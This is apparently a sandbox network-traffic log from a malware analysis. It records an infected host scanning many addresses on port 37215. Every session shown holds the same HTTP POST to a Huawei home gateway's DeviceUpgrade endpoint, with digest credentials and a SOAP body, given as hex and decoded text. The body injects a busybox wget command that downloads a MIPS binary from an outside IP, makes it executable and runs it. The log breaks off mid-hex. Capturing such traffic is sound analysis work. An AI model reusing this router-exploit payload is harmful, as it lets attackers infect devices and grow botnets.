61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:00.476680040 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.13	57568	95.86.126.109	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:54:38.187082052 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.13	33620	156.254.66.255	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:54:40.810215950 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:44.860531092 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:51.004523039 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:03.036634922 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.13	47944	156.241.119.7	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:54:41.115679979 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.13	53578	94.120.53.15	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:54:42.713107109 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.13	46496	156.224.10.238	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:54:43.304833889 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 